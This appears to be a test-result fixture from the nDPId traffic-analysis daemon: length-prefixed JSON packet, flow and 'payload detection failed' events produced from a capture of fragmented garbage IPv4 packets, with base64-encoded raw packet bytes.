+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83862,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83887,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84013,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84044,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84083,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":84232,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAl4lJCMmKihL"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1534244031384,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18762,"dst_port":18503,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384369,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAklKSEdGRDIqJkRGR0hKSybhaQAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384431,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384442,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 